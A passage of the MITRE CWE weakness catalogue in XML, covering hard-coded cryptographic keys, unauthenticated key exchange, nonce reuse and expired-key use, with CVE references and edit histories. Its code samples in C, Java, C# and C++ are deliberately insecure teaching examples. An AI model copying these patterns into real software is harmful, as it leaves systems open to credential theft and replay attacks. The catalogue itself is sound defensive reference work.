                           </xhtml:div>}<xhtml:br/>printf("Entering Diagnostic Mode...\n");<xhtml:br/>return(1);</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public boolean VerifyAdmin(String password) {<xhtml:div style="margin-left:1em;">if (password.equals("68af404b513073584c4b6f22b6c63e6b")) {<xhtml:div style="margin-left:1em;">System.out.println("Entering Diagnostic Mode...");<xhtml:br/>return true;</xhtml:div>}<xhtml:br/>System.out.println("Incorrect Password!");<xhtml:br/>return false;</xhtml:div>
                  </xhtml:div>
               </Example_Code>
               <Example_Code Nature="Bad" Language="C#">
                  <xhtml:div>int VerifyAdmin(String password) {<xhtml:div style="margin-left:1em;">if (password.Equals("68af404b513073584c4b6f22b6c63e6b")) {<xhtml:div style="margin-left:1em;">Console.WriteLine("Entering Diagnostic Mode...");<xhtml:br/>return(1);</xhtml:div>}<xhtml:br/>Console.WriteLine("Incorrect Password!");<xhtml:br/>return(0);</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The cryptographic key is within a hard-coded string value that is compared to the password. It is likely that an attacker will be able to read the key and compromise the system.</Body_Text>
            </Demonstrative_Example>
         <Demonstrative_Example Demonstrative_Example_ID="DX-153">
	         <Intro_Text>In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.</Intro_Text>
	         <Body_Text>Multiple vendors used hard-coded keys for critical functionality in their OT products.</Body_Text>
	    </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2022-29960</Reference>
               <Description>Engineering Workstation uses hard-coded cryptographic keys that could allow for unathorized filesystem access and privilege escalation</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-29960</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2022-30271</Reference>
               <Description>Remote Terminal Unit (RTU) uses a hard-coded SSH private key that is likely to be used by default.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-30271</Link>
            </Observed_Example>
	    <Observed_Example>
	      <Reference>CVE-2020-10884</Reference>
	      <Description>WiFi router service has a hard-coded encryption key, allowing root access</Description>
	      <Link>https://www.cve.org/CVERecord?id=CVE-2020-10884</Link>
	    </Observed_Example>
	    <Observed_Example>
	      <Reference>CVE-2014-2198</Reference>
	      <Description>Communications / collaboration product has a hardcoded SSH private key, allowing access to root account</Description>
	      <Link>https://www.cve.org/CVERecord?id=CVE-2014-2198</Link>
	    </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Use of hard-coded cryptographic key</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2007">
               <Entry_ID>A8</Entry_ID>
               <Entry_Name>Insecure Cryptographic Storage</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2007">
               <Entry_ID>A9</Entry_ID>
               <Entry_Name>Insecure Communications</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
               <Entry_ID>A8</Entry_ID>
               <Entry_Name>Insecure Storage</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP33</Entry_ID>
               <Entry_Name>Hardcoded sensitive data</Entry_Name>
            </Taxonomy_Mapping>
	    <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	      <Entry_ID>Part 2-4</Entry_ID>
	      <Entry_Name>Req SP.03.10 RE(1)</Entry_Name>
	    </Taxonomy_Mapping>
	    <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	      <Entry_ID>Part 2-4</Entry_ID>
	      <Entry_Name>Req SP.03.10 RE(3)</Entry_Name>
	    </Taxonomy_Mapping>
           <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	     <Entry_ID>Part 3-3</Entry_ID>
             <Entry_Name>Req SR 1.5</Entry_Name>
           </Taxonomy_Mapping>
           <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	     <Entry_ID>Part 3-3</Entry_ID>
             <Entry_Name>Req SD-1</Entry_Name>
           </Taxonomy_Mapping>
           <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	     <Entry_ID>Part 3-3</Entry_ID>
             <Entry_Name>Req SR 4.3</Entry_Name>
           </Taxonomy_Mapping>
           <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	     <Entry_ID>Part 4-1</Entry_ID>
             <Entry_Name>Req SD-1</Entry_Name>
           </Taxonomy_Mapping>
           <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	     <Entry_ID>Part 4-2</Entry_ID>
             <Entry_Name>Req SR 4.3</Entry_Name>
           </Taxonomy_Mapping>
           <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	     <Entry_ID>Part 4-2</Entry_ID>
             <Entry_Name>Req CR 7.3</Entry_Name>
           </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-18"/>
            <Reference External_Reference_ID="REF-1283"/>
         </References>
         <Notes>
            <Note Type="Other">The main difference between the use of hard-coded passwords and the use of hard-coded cryptographic keys is the false sense of security that the former conveys. Many people believe that simply hashing a hard-coded password before storage will protect the information from malicious users. However, many hashes are reversible (or at least vulnerable to brute force attacks) -- and further, many authentication protocols simply request the hash itself, making it no better than a password.</Note>
	    <Note Type="Maintenance">The Taxonomy_Mappings to ISA/IEC 62443 were added in CWE 4.10, but they are still under review and might change in future CWE versions. These draft mappings were performed by members of the "Mapping CWE to 62443" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG), and their work is incomplete as of CWE 4.10. The mappings are included to facilitate discussion and review by the broader ICS/OT community, and they are likely to change in future CWE versions.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Organization>Veracode</Modification_Organization>
               <Modification_Date>2008-08-15</Modification_Date>
               <Modification_Comment>Suggested OWASP Top Ten 2004 mapping</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Observed_Examples, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Maintenance_Notes, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
            <Contribution Type="Content">
               <Contribution_Name>"Mapping CWE to 62443" Sub-Working Group</Contribution_Name>
               <Contribution_Organization>CWE-CAPEC ICS/OT SIG</Contribution_Organization>
               <Contribution_Date>2023-01-24</Contribution_Date>
               <Contribution_Comment>Suggested mappings to ISA/IEC 62443.</Contribution_Comment>
            </Contribution>
            <Contribution Type="Content">
               <Contribution_Name>"Mapping CWE to 62443" Sub-Working Group</Contribution_Name>
               <Contribution_Organization>CWE-CAPEC ICS/OT SIG</Contribution_Organization>
               <Contribution_Date>2023-04-25</Contribution_Date>
               <Contribution_Comment>Suggested mappings to ISA/IEC 62443.</Contribution_Comment>
            </Contribution>
         </Content_History>
      </Weakness>
      <Weakness ID="322" Name="Key Exchange without Entity Authentication" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product performs a key exchange with an actor without verifying the identity of that actor.</Description>
         <Extended_Description>Performing a key exchange will preserve the integrity of the information sent between two entities, but this will not guarantee that the entities are who they claim they are. This may enable an attacker to impersonate an actor by modifying traffic between the two entities.  Typically, this involves a victim client that contacts a malicious server that is impersonating a trusted server. If the client skips authentication or ignores an authentication failure, the malicious server may request authentication information from the user. The malicious server can then use this authentication information to log in to the trusted server using the victim's credentials, sniff traffic between the victim and trusted server, etc.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="306" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="923" View_ID="1000"/>
            <Related_Weakness Nature="PeerOf" CWE_ID="295" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Note>No authentication takes place in this process, bypassing an assumed protection of encryption.</Note>
            </Consequence>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
               <Note>The encrypted communication between a user and a trusted host may be subject to sniffing by any actor in the communication path.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Ensure that proper authentication is included in the system design.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Understand and properly implement all checks necessary to ensure the identity of entities involved in encrypted communications.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>Many systems have used Diffie-Hellman key exchange without authenticating the entities exchanging keys, allowing attackers to influence communications by redirecting or interfering with the communication path.  Many people using SSL/TLS skip the authentication (often unknowingly).</Intro_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Key exchange without entity authentication</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-18"/>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 23: Improper Use of PKI, Especially SSL.&#34; Page 347"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 2, &#34;Untrustworthy Credentials&#34;, Page 37"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-10</Modification_Date>
               <Modification_Comment>clarified the description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Description, References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="323" Name="Reusing a Nonce, Key Pair in Encryption" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>Nonces should be used for the present occasion and only once.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="344" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Background_Details>
            <Background_Detail>Nonces are often bundled with a key in a communication exchange to produce a new session key for each exchange.</Background_Detail>
         </Background_Details>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Note>Potentially a replay attack, in which an attacker could send the same data twice, could be crafted if nonces are allowed to be reused. This could allow a user to send a message which masquerades as a valid message from a valid user.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Refuse to reuse nonce values.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Use techniques such as requiring incrementing, time based and/or challenge response to assure uniqueness of nonces.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>This code takes a password, concatenates it with a nonce, then encrypts it before sending over a network:</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>void encryptAndSendPassword(char *password){<xhtml:div style="margin-left:1em;">char *nonce = "bad";<xhtml:br/>...<xhtml:br/>char *data = (unsigned char*)malloc(20);<xhtml:br/>int para_size = strlen(nonce) + strlen(password);<xhtml:br/>char *paragraph = (char*)malloc(para_size);<xhtml:br/>SHA1((const unsigned char*)paragraph,parsize,(unsigned char*)data);<xhtml:br/>sendEncryptedData(data)</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>Because the nonce used is always the same, an attacker can impersonate a trusted party by intercepting and resending the encrypted password. This attack avoids the need to learn the unencrypted password.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>This code sends a command to a remote server, using an encrypted password and nonce to prove the command is from a trusted party:</Intro_Text>
               <Example_Code Nature="Bad" Language="C++">
                  <xhtml:div>String command = new String("some command to execute");<xhtml:br/>MessageDigest nonce = MessageDigest.getInstance("SHA");<xhtml:br/>nonce.update(String.valueOf("bad nonce"));<xhtml:br/>byte[] nonce = nonce.digest();<xhtml:br/>MessageDigest password = MessageDigest.getInstance("SHA");<xhtml:br/>password.update(nonce + "secretPassword");<xhtml:br/>byte[] digest = password.digest();<xhtml:br/>sendCommand(digest, command)</xhtml:div>
               </Example_Code>
               <Body_Text>Once again the nonce used is always the same. An attacker may be able to replay previous legitimate commands or execute new arbitrary commands.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Reusing a nonce, key pair in encryption</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-18"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Background_Details, Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Type</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="324" Name="Use of a Key Past its Expiration Date" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product uses a cryptographic key or password past its expiration date, which diminishes its safety significantly by increasing the timing window for cracking attacks against that key.</Description>
         <Extended_Description>While the expiration of keys does not necessarily ensure that they are compromised, it is a significant concern that keys which remain in use for prolonged periods of time have a decreasing probability of integrity. For this reason, it is important to replace keys within a period of time proportional to their strength.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="672" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="PeerOf" CWE_ID="298" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Low</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Note>The cryptographic key in question may be compromised, providing a malicious user with a method for authenticating as the victim.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Adequate consideration should be put in to the user interface in order to notify users previous to the key's expiration, to explain the importance of new key generation and to walk users through the process as painlessly as possible.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following code attempts to verify that a certificate is valid.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>if (cert = SSL_get_peer_certificate(ssl)) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>foo=SSL_get_verify_result(ssl);<xhtml:br/>if ((X509_V_OK==foo) || (X509_V_ERRCERT_NOT_YET_VALID==foo))<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:br/>
                                 <xhtml:i>//do stuff</xhtml:i>
                                 <xhtml:br/>
                              </xhtml:div>
                           </xhtml:div>
                        </xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The code checks if the certificate is not yet valid, but it fails to check if a certificate is past its expiration date, thus treating expired certificates as valid.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Using a key past its expiration date</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 23: Improper Use of PKI, Especially SSL.&#34; Page 347"/>
            <Reference External_Reference_ID="REF-18"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
